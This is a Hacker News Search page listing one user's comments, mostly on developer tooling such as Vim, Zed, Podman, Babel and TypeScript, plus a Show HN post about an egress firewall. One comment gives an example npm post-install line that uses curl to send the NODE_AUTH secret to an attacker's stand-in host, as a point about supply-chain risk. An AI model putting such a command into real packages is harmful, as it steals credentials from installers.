Y
HN Search
Hacker News Search
new
|
comments
|
top
|
jobs
esamatti
searching Neon…
1.
▲
2.
▲
3.
▲
4.
▲
5.
▲
6.
▲
5 ms
·
1.
▲
Show HN: Egress WAF to limit AI agents and NPM malware based on mitmproxy
(github.com)
1 points
by
esamatti
4mo ago
|
0 comments
2.
▲
by
esamatti
1y ago
To me it has been the best "vim" that is not a real Vim. Way way better than the vscode plugin. I have used Vim and later Neovim since 2008 or so. Zed is the first non-vim I am truly happy with.
3.
▲
by
esamatti
3y ago
I've actually found the animations helpful even thought was initially skeptical: Because it visualises the vim motions it makes it much clearer what is happening. Especially if you make a mistake you'll see it much more clearly w
4.
▲
by
esamatti
3y ago
This is awesome! Thanks for sharing.
5.
▲
by
esamatti
3y ago
TIL, Pretty cool! But I suppose there isn't away to run these transient services as boot because they are definition gone after they have stopped?
6.
▲
by
esamatti
3y ago
Anyone using Podman on a macOS? How's the experience compared to Docker Desktop?
7.
▲
by
esamatti
4y ago
They say they plan to support Vue and Svelte via plugins so I guess it is a thing or will be. "In future versions, we'll be supporting Vue and Svelte via plugins." https://turbo.build/pack/docs/featu
8.
▲
by
esamatti
4y ago
Also checkout yj[1] which can convert between various formats among toml->json [1]: https://github.com/sclevine/yj
9.
▲
by
esamatti
5y ago
Does this contain `request.formData()` and `FormData`? https://developer.mozilla.org/en-US/docs/Web/API/Request/for... https://developer.mozilla.org/en-US/docs/Web/API
10.
▲
by
esamatti
5y ago
Graderjs seems to be pretty nice idea. If you are already using Chrome, Graderjs apps weight around the same as a Chrome tab compared to Electron where each app will get its own Chromium instance.
11.
▲
by
esamatti
5y ago
Seems like it ------- Podman is a tool for running Linux containers. You can do this from a MacOS desktop as long as you have access to a linux box either running inside of a VM on the host, or available via the network. Podman includes a c
12.
▲
by
esamatti
5y ago
Hash the phone number in the browser before sending it to your server. That way it is at least possible to verify via devtools what is being send. Heck. Allow even prehashed phone number to be entered.
13.
▲
by
esamatti
6y ago
"sh" for python is actually pretty cool https://amoffat.github.io/sh/ Available as `python3-sh` in Ubuntu.
14.
▲
by
esamatti
6y ago
Interesting business model ---------- Experts Host Sites Here for $1/month Do you like paying extra so other people can ask amateur questions? That's how it is at other hosting companies where beginners and experts pay the same pr
15.
▲
by
esamatti
6y ago
Other uses for the template literal types: JSON parser https://twitter.com/buildsghost/status/1301976526603206657 This one is more realistic: Typed route params https://twitter.com/danvdk/sta
16.
▲
by
esamatti
6y ago
Since learning Rust I wanted to learn some C to be better able to consume pure C libs or embed Rust into C apps. Along Modern C I found these modern(ish) C books: - C Programming: A Modern Approach, 2nd Edition by King - 21st Century C by B
17.
▲
by
esamatti
6y ago
I wonder if the same method could be used to write Android Apps only with Rust?
18.
▲
by
esamatti
7y ago
This looks great! I've used sqlpad[1] for similar purposes which is bit more low level as it allows to write the queries in the browser directly. [1]: https://github.com/rickbergfalk/sqlpad
19.
▲
by
esamatti
7y ago
I think attacker could still do this in a post install script: curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret
20.
▲
by
esamatti
7y ago
> If you are a Docker user, you understand that there is a daemon process that must be run to service all of your Docker commands. I can’t claim to understand the motivation behind this but I imagine it seemed like a great idea, at the t
21.
▲
by
esamatti
8y ago
That only uses local state. With constate you can access the state from anywhere without prop drilling.
22.
▲
by
esamatti
8y ago
I think Babel does excatly that if only enable the typescript-preset.
23.
▲
by
esamatti
9y ago
I think this is just an editor concern. It could show a list of files with type errors. But you could just run "tsc --noEmit --watch" which will just report the project wide type errors to the console as you edit files.
24.
▲
by
esamatti
9y ago
Thanks. Here's the documentation about the enum issue https://github.com/babel/babel/tree/master/packages/babel-pl... I hope that in future Typescript would take the same approach as Flow and j
25.
▲
by
esamatti
9y ago
> I suspect that the new babel-preset-typescript can't quite do _just_ type-stripping can it? Since some features in TypeScript have runtime implications, those would still have to be transformed as opposed to simply stripped, corre
26.
▲
by
esamatti
9y ago
Faster and simpler builds setups. And you don't really lose it as your editor will report the type errors. Flow is used like this all the time. Tried this on a project of mine. Enums seem to work fine for me. EDIT: There are some issue
27.
▲
by
esamatti
9y ago
This is possible with Typescript too with Babel 7. See my comment here https://news.ycombinator.com/item?id=15236089
28.
▲
by
esamatti
9y ago
It's worth noting that with upcoming Babel 7 it is possible to strip Typescript types like with Flow and use it just as a typechecker/linter [1]. This means following things: - You don't need ts-loader/at-loader with Web
29.
▲
by
esamatti
9y ago
It's at Stage 1 https://github.com/tc39/proposal-optional-chaining and babel plugin is coming here https://github.com/babel/babel/pull/5813
30.
▲
by
esamatti
11y ago
https://npmcdn.com/ seems similar
More ›